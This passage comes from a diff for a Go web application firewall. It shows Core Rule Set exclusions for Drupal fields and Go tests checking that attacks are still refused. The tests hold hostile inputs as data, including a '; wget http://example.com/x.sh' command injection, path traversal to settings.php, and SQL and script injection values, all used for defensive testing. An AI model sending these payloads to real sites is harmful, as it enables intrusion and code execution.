"id:900819,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
# The passwords when signing up, changing the password and adding a user skip
# the same rules:
# pass[pass1], pass[pass2], current_pass: the forms at /user/register,
# /user/<id>/edit and /admin/people/create
# json.pass.value, json.pass.0.value, json.pass.0.existing: a client signing up
# or changing the password in Drupal's JSON format
# json.data.attributes.pass.value, .existing: a JSON:API client doing the same
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+(?:/edit)?|admin/people/create|jsonapi/user/user(?:/[^/]+)?)$" \
"id:900820,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/"
# A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address
# keeps 932250, which no recorded address set off.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+/edit|comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?)$" \
"id:900814,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|mail)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|mail)$/"
# Saving a tag, a custom block or a contact message sends its name,
# description, block description, body, subject or message, which skip the
# same four rules. A tag named python3 refused saving it.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:admin/structure/taxonomy/manage/[^/]+/add|taxonomy/term/[0-9]+/edit|block/add/[^/]+|admin/content/block/[0-9]+|contact(?:/[^/]+)?|user/[0-9]+/contact)$" \
"id:900815,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|description|info|body|subject|message)\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/"
# A client saving a node in Drupal's JSON format sends its title in the JSON
# field title.0.value: PATCH /node/2?_format=json with a title of python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \
"id:900816,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.title\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
# A client resetting a password in Drupal's JSON format sends the account in
# the JSON field name: POST /user/password?_format=json with a name of python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900817,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# The same reset may name the account by its address in the JSON field mail:
# POST /user/password?_format=json with a mail of python3@example.com. An
# address skips only the two rules the recorded addresses set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900818,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+615
View File
@@ -0,0 +1,615 @@
package coreruleset_test
import (
"net/http"
"net/url"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"
// drupalRegister is Drupal's sign-up form.
const drupalRegister = "/user/register"
// drupalJSONRegister is Drupal's sign-up in its JSON format.
const drupalJSONRegister = "/user/register?_format=json"
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
const drupalJSONPasswordReset = "/user/password?_format=json"
// drupalTagForm is Drupal's form for a new tag.
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
// drupalEditAccount is Drupal's form for editing an account.
const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalAttacks = []string{
sqlInjection,
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
scriptInjection,
}
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, attack := range drupalAttacks {
for _, target := range []string{
"/?id=",
"/admin/content?id=",
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/content?destination=",
"/admin/foo?q=",
"/node/1/edit?destination=",
"/user/login?destination=",
"/search/node?keys=",
"/search?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/big_pipe/no-js?destination=",
"/node/2/revisions/3/revert?destination=",
"/node/2/revisions/3/delete?destination=",
"/block/add/basic?destination=",
"/fr/admin/content?title=",
"/fr/search/node?keys=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const reply = "/comment/reply/node/1/comment"
for _, attack := range drupalAttacks {
for _, sent := range []struct{ target, body string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{drupalRegister, drupalName + attack},
{drupalEditAccount, "mail=" + attack},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold {
t.Errorf(
"POST %s %q let through: %+v",
sent.target,
sent.body,
got,
)
}
}
}
}
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, attack := range []string{injection, scriptTag} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
`"name":"` + attack + `"`,
`"revision_log":"` + attack + `"`,
`"info":"` + attack + `"`,
`"description":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"` + attack + `","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestDrupalPasswordPasses(t *testing.T) {
t.Parallel()
for _, r := range []request{
{http.MethodPost, drupalSignIn, []string{formData}},
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
} {
t.Run(r.target, func(t *testing.T) {
t.Parallel()
wantRandomPasswordsPass(t, r, "pass")
wantPasswordAttacksPass(t, r, "pass")
wantPasswordAttacksRefused(t, r, "pass")
})
}
}
func TestDrupalPasswordFieldsPass(t *testing.T) {
t.Parallel()
const value = "pass.0.value"
pass := []string{"pass[pass1]", "pass[pass2]"}
wantPasswordFieldsPass(t, []passwordFields{
{drupalRegister, formData, pass},
{"/fr/user/register", formData, pass},
{
"/user/1/edit",
formData,
[]string{"current_pass", pass[0], pass[1]},
},
{"/admin/people/create", formData, pass},
{drupalJSONRegister, jsonBody, []string{value}},
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
{
"/user/1?_format=json",
jsonBody,
[]string{value, "pass.0.existing"},
},
{
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
[]string{
"data.attributes.pass.value",
"data.attributes.pass.existing",
},
},
})
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, attack := range []string{
injection,
scriptTag,
shellCommand,
`../../sites/default/settings.php`,
} {
for _, field := range []string{"name", "mail"} {
r := request{
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// An address keeps 932250, which refuses ls -la, and 930120, which
// refuses system file names.
for _, kept := range []struct {
value string
rule int
}{
{"ls -la", 932250},
{".htaccess@example.com", 930120},
} {
r := request{
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold ||
!slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf(
"POST %s %s: %+v, want %d among them",
r.target,
body,
got,
kept.rule,
)
}
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range []string{
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/views/ajax/autocomplete/tag?q=",
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/fr/admin/content?title=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, sent := range []struct{ target, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
{drupalSignIn, drupalName},
{drupalRegister, drupalName},
{drupalEditAccount, "mail="},
{"/comment/reply/node/1/comment", drupalName},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf(
"POST %s %s let through: %+v",
r.target,
sent.field,
got,
)
}
}
// An address keeps 932250, which refuses ls -la.
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf(
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
r.target,
got,
)
}
}
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
`"name":"; wget http://example.com/x.sh"`,
`"revision_log":"; wget http://example.com/x.sh"`,
`"info":"; wget http://example.com/x.sh"`,
`"description":{"value":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range hardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
{"/comment/reply/node/1/field_comments", subject},
{"/comment/reply/media/1/comment", subject},
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
{drupalSignIn, "pass="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold {
t.Errorf(
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
}
}
}
for _, value := range hardValues {
word, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body := `{"name":"example","pass":"` + word + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
r = request{
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestDrupalExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, passes := range []string{
"/admin/content?title=python3",
"/search/node?keys=python3",
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
"/fr/admin/content?title=python3",
"/pt-br/search/node?keys=python3",
"/user/password?name=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
}
}
for _, refused := range []string{
"/?title=python3",
"/admin/content?other=python3",
"/?keys=python3",
"/node/1?keys=python3",
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
"/notes/admin/content?title=python3",
"/fr/node/1?keys=python3",
"/?name=python3",
"/user/login?name=python3",
"/media/oembed?url=python3",
"/media/oembed?url=ls%20-la",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
}
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ path, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
{drupalSignIn, "name=python3"},
{drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} {
r := request{
http.MethodPost,
sent.path + "?" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// The JSON field name keeps the rules beside json.name in the query, and
// on a path other than the password reset.
for _, target := range []string{
drupalJSONPasswordReset + "&json.name=python3",
drupalJSONRegister,
} {
